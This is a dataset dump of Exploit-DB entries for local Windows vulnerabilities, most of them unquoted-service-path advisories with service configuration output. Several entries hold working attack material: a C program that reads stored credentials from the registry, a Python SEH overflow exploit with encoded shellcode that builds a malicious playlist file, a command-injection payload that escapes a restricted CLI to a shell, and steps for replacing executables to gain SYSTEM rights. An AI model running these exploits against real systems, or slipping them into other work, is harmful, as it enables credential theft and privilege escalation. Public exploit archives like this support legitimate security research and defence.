deardaniel/secdata-raw huggingface dataset:
Exploit-DB #846
Description: Einstein 1.01 - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-02-27
Author: Kozan

Exploit:
/*******************************************************************

Einstein v1.01 Local Password Disclosure Exploit by Kozan

Application: Einstein v1.01 (and previous versions)
Procuder: Bfriendly.com
Vulnerable Description: Einstein v1.01 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*******************************************************************/

#include <stdio.h>
#include <windows.h>

HKEY hKey;

#define BUFSIZE 100
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\einstein",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "username", NULL, NULL,
              (LPBYTE) username, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("En error occured!");
                                return 0;
                       }

                       lRet = RegQueryValueEx( hKey, "password", NULL, NULL,
              (LPBYTE) password, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("En error occured!");
                                return 0;
                       }
                       RegCloseKey( hKey );

                       printf("Einstein v1.01 Local Exploit by Kozan\n");
                       printf("Credits to ATmaCA\n");
                       printf("www.netmagister.com  -  www.spyinstructors.com\n");
                       printf("kozan@netmagister.com\n\n");
                       printf("Username: %s\n",username);
                       printf("Password: %s\n",password);

        }
        else{
                printf("Einstein v1.01 is not installed on your system!\n");
        }

       return 0;
}

// milw0rm.com [2005-02-27]
Exploit-DB #48009
Description: ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-06
Author: ZwX

Exploit:
#Exploit Title: ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2020-02-05
#Vendor : ELAN Microelectronics
#Vendor Homepage : http://www.emc.com.tw/
#Tested on OS: Windows 10 v1803


#Analyze PoC :
==============


C:\Users\ZwX>sc qc ETDService
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ETDService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Elantech\ETDService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Elan Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49702
Description: ELAN Touchpad 15.2.13.1_X64_WHQL - 'ETDService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-23
Author: SamAlucard

Exploit:
# Exploit Title: ELAN Touchpad 15.2.13.1_X64_WHQL - 'ETDService' Unquoted Service Path
# Exploit Author : SamAlucard
# Exploit Date: 2021-03-22
# Vendor :  ELAN Microelectronics
# Version : ELAN Touchpad 15.2.13.1_X64_WHQL
# Vendor Homepage : http://www.emc.com.tw/
# Tested on OS: Windows 8

#This software installs EDTService.exe, version 11.10.2.1

#Analyze PoC :
==============
C:\>sc qc ETDService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ETDService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Elantech\ETDService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Elan Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #40425
Description: Elantech-Smart Pad 11.9.0.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-26
Author: zaeek

Exploit:
# Exploit Title: Elantech Smart-Pad Unquoted Service Path Privilege Escalation
# Date: 24/09/2016
# Exploit Author: zaeek@protonmail.com
# Vendor Homepage: http://www.emc.com.tw/eng/
# Version: 11.9.0.0
# Tested on: Windows 7 64bit

====Description====

Elantech Smart-Pad Service lacks of quotes in the filepath, causing it to be a potential vector of privilege escalation attack.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.

====Proof-of-Concept====

C:\>sc qc ETDService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ETDService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Elantech\ETDService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Elan Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Exploit-DB #16253
Description: Elecard AVC_HD/MPEG Player 5.7 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-02-27
Author: sickness

Exploit:
#!/usr/bin/env python
# Software: Elecard AVC_HD/MPEG Player 5.7 (SEH)
# Author: sickness
# Download : http://www.elecard.com/en/products/end-user-software/playback/avchd-player.html
# PoC for Elecard MPEG: http://www.exploit-db.com/exploits/16237/
# Tested : Windows XP Professional SP3 (EN) latest updates
# DATE   : 26/02/2011
# Bad chars: \x00\x0a\x0d\x25\x68\x08 There might be more so watch out !
###################################################################
# You might need to change the offset.
# The payload can be replaced with whatever you want, there is enough space.
# 3/05/2011 - Vendor notified, NO FIX coming up
###################################################################

import sys

header="#EXTM3U\n"

junk="\x42"*4
nseh="\xeb\x06\x90\x90"
seh="\xA6\xA0\x94\x73"	# p/p/r from D3DIM700.DLL
nops = "\x90"*16

# msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -b "\x00\x0a\x0d\x25\x68\x08" -t c
sc = ("\x6a\x32\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfd\x1e"
"\x9f\xec\x83\xeb\xfc\xe2\xf4\x01\xf6\x16\xec\xfd\x1e\xff\x65"
"\x18\x2f\x4d\x88\x76\x4c\xaf\x67\xaf\x12\x14\xbe\xe9\x95\xed"
"\xc4\xf2\xa9\xd5\xca\xcc\xe1\xae\x2c\x51\x22\xfe\x90\xff\x32"
"\xbf\x2d\x32\x13\x9e\x2b\x1f\xee\xcd\xbb\x76\x4c\x8f\x67\xbf"
"\x22\x9e\x3c\x76\x5e\xe7\x69\x3d\x6a\xd5\xed\x2d\x4e\x14\xa4"
"\xe5\x95\xc7\xcc\xfc\xcd\x7c\xd0\xb4\x95\xab\x67\xfc\xc8\xae"
"\x13\xcc\xde\x33\x2d\x32\x13\x9e\x2b\xc5\xfe\xea\x18\xfe\x63"
"\x67\xd7\x80\x3a\xea\x0e\xa5\x95\xc7\xc8\xfc\xcd\xf9\x67\xf1"
"\x55\x14\xb4\xe1\x1f\x4c\x67\xf9\x95\x9e\x3c\x74\x5a\xbb\xc8"
"\xa6\x45\xfe\xb5\xa7\x4f\x60\x0c\xa5\x41\xc5\x67\xef\xf5\x19"
"\xb1\x97\x1f\x12\x69\x44\x1e\x9f\xec\xad\x76\xae\x67\x92\x99"
"\x60\x39\x46\xee\x2a\x4e\xab\x76\x39\x79\x40\x83\x60\x39\xc1"
"\x18\xe3\xe6\x7d\xe5\x7f\x99\xf8\xa5\xd8\xff\x8f\x71\xf5\xec"
"\xae\xe1\x4a\x8f\x9c\x72\xfc\xc2\x98\x66\xfa\xec")
rest = "\x90"*(21000-len(header+junk+nseh+seh+nops+sc))

exploit = header +junk + nseh + seh + nops + sc + rest
 
try:
	f=open("evil.m3u","w")
	f.write(exploit)
	f.close()
    	print "Done!"
except:
    	print "Something went wrong!"
Exploit-DB #49704
Description: Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-23
Author: Alan Mondragon

Exploit:
# Exploit Title: Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-23
# Vendor Homepage: https://eventlogxp.com/
# Software Links : https://eventlogxp.com/
# Tested Version: Version: 4.9.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
 
# Step to discover Unquoted Service Path: 
 
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Elodea Event Collector Service                                                                                                     ElodeaEventCollectorService                             C:\Program Files (x86)\Elodea\EventCollector.exe                                                                                Auto


C:\WINDOWS\system32>sc qc "ElodeaEventCollectorService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ElodeaEventCollectorService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Elodea\EventCollector.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Elodea Event Collector Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

 
#Exploit:
 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #44614
Description: EMC RecoverPoint 4.3 - 'Admin CLI' Command Injection
Type: local
Platform: windows
Date: 2018-05-11
Author: Paul Taylor

Exploit:
# Exploit Title: EMC RecoverPoint 4.3 - Admin CLI Command Injection
# Version: RecoverPoint prior to 5.1.1 RecoverPoint for VMs prior to 5.0.1.3
# Date: 2018-05-11
# Exploit Author: Paul Taylor
# Github: https://github.com/bao7uo
# Tested on: RecoverPoint for VMs 4.3, RecoverPoint 4.4.SP1.P1
# CVE: CVE-2018-1185
 
1. Description

An OS command injection vulnerability resulting in code execution as the built-in admin user. 

A crafted entry can result in the ability to escape from the restricted admin user's menu driven CLI to a full Linux operating system shell in the context of the admin user. The attack vector is the trap destination (hostname/IP) parameter of the test_snmp function.
 
2. Proof of Concept

RecoverPoint> test_snmp
Enter the trap destination (host name or IP)
 > /dev/null 2>&1 ; bash #
admin@RecoverPoint:/home/kos/cli$ exit
exit
Test completed successfully.
RecoverPoint> 

3. Solution:
    
Update to latest version of RecoverPoint
Exploit-DB #48398
Description: EmEditor 19.8 - Insecure File Permissions
Type: local
Platform: windows
Date: 2020-04-29
Author: SajjadBnd

Exploit:
# Exploit Title: EmEditor 19.8 - Insecure File Permissions
# Date: 2020-04-27
# Exploit Author: SajjadBnd
# Vendor Homepage: https://www.emeditor.com/
# Software Link: https://support.emeditor.com/en/downloads/suggested
# Version: 19.8
# Tested on: Win10 Professional x64

[ Description ]

EmEditor is a fast, lightweight, yet extensible, easy-to-use text editor for Windows.
Both native 64-bit and 32-bit builds are available, and moreover,
the 64-bit includes separate builds for SSE2 (128-bit), AVX-2 (256-bit),
and AVX-512 (512-bit) instruction sets.

[ PoC ]

C:\Users\user\AppData\Local\Programs\EmEditor
λ icacls *.exe

ee128.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

ee256.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

ee512.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

EEAdmin.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

eehlpver.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

eeupdate.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

emedhtml.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

EmEditor.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

emedtray.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

emedws.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

Successfully processed 10 files; Failed processing 0 files

[ Exploit - Privilege Escalation ]

Replace any *.exe files with any executable
malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
- Also you can use DLL Hijacking technique(emonig.dll,emregexp.dll,emtoast.dll..) ;D
Exploit-DB #47661
Description: Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-18
Author: Luis Martínez

Exploit:
# Exploit Title: Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2019-11-17
# Vendor Homepage: https://www.emerson.com/en-us
# Software Link : https://www.opertek.com/descargar-software/?prc=_326
# Tested Version: 9.70 Build 8595
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "FxControlRuntime" |findstr /i /v """

FxControl Runtime	FxControlRuntime	C:\Program Files (x86)\Emerson\PAC Machine Edition\fxControl\Runtime\NT\FxControl.exe	Auto

# Service info:

C:\>sc qc FxControlRuntime
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FxControlRuntime
        TYPE               : 120  WIN32_SHARE_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Emerson\PAC Machine Edition\fxControl\Runtime\NT\FxControl.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FxControl Runtime
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #50745
Description: Emerson PAC Machine Edition 9.80 Build 8695 - 'TrapiServer' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-16
Author: Luis Martínez

Exploit:
# Exploit Title: Emerson PAC Machine Edition 9.80 Build 8695 - 'TrapiServer' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-13
# Vendor Homepage: https://www.emerson.com/en-us
# Software Link : https://www.opertek.com/descargar-software/?prc=_326
# Tested Version: 9.80 Build 8695
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "TrapiServer" |findstr /i /v """

Trapi File Server	TrapiServer	C:\Program Files (x86)\Emerson\PAC Machine Edition\Common\Components\NT\trapiserver.exe	Auto    


# Service info:

C:\>sc qc TrapiServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TrapiServer
        TYPE               : 120  WIN32_SHARE_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Emerson\PAC Machine Edition\Common\Components\NT\trapiserver.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Trapi File Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #49841
Description: Epic Games Easy Anti-Cheat 4.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2021-05-07
Author: LiquidWorm

Exploit:
# Exploit Title: Epic Games Easy Anti-Cheat 4.0 - Local Privilege Escalation
# Date: 04.05.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.epicgames.com https://www.easy.ac

Epic Games Easy Anti-Cheat 4.0 Local Privilege Escalation


Vendor: Epic Games, Inc.
Product web page: https://www.epicgames.com
                  https://www.easy.ac
Affected version: 4.0.0.0

Summary: Easy Anti-Cheat is the industry-leading anti–cheat service,
countering hacking and cheating in multiplayer PC games through the
use of hybrid anti–cheat mechanisms.

Desc: The application suffers from an unquoted search path issue impacting
the service 'EasyAntiCheat' for Windows deployed as part of Easy Anti-Cheat
Service application. This could potentially allow an authorized but non-privileged
local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows 10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5652
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5652.php


04.05.2021

--


C:\Users>sc qc EasyAntiCheat
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EasyAntiCheat
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : EasyAntiCheat
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49900
Description: ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-24
Author: Emmanuel Lujan

Exploit:
# Exploit Title: ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe'  Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Discovery Date: 2021-05-22
# Vendor Homepage: https://www.acer.com
# Tested Version: 6.0.3008.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

ePower Service                                                          ePowerSv
c                                     C:\Program Files\Acer\Acer ePower Manageme
nt\ePowerSvc.exe                                          Auto

# Service info:

C:\>sc qc "ePowerSvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ePowerSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Acer\Acer ePower Management\ePower
Svc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ePower Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other
 security applications where it could potentially be executed during application startup or reboot. If successful, the local user's 
code would execute with the elevated privileges of the application.
Exploit-DB #48069
Description: EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-14
Author: Roberto Piña

Exploit:
# Exploit Title: EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-02-13
# Vendor Homepage: https://epson.com/support/easymp-network-projection-v2-86-for-windows
# Software Link :https://ftp.epson.com/drivers/epson16189.exe
# SEIKO EPSON CORP
# Tested Version: 2.81
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path: 


C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "EPSON" | findstr /i /v """
EMP_NSWLSV                                                EMP_NSWLSV                                C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe                                                                                                                                                                                                   Auto

C:\>sc qc "EMP_NSWLSV"
[SC] QueryServiceConfig SUCCESS
        SERVICE_NAME: EMP_NSWLSV                                                                                                                                                                    
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : EMP_NSWLSV
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #49141
Description: EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-01
Author: SamAlucard

Exploit:
#Exploit Title: EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-27-11
#Vendor :  SEIKO EPSON Corp
#Version : EPSON_PM_RPCV4_06 8.0
#Vendor Homepage : https://epson.com
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============
C:\>sc qc EPSON_PM_RPCV4_06
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: EPSON_PM_RPCV4_06
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Common Files\EPSON\EPW!3
SSRP\E_S60RPB.EXE
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : EPSON V3 Service4(06)
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem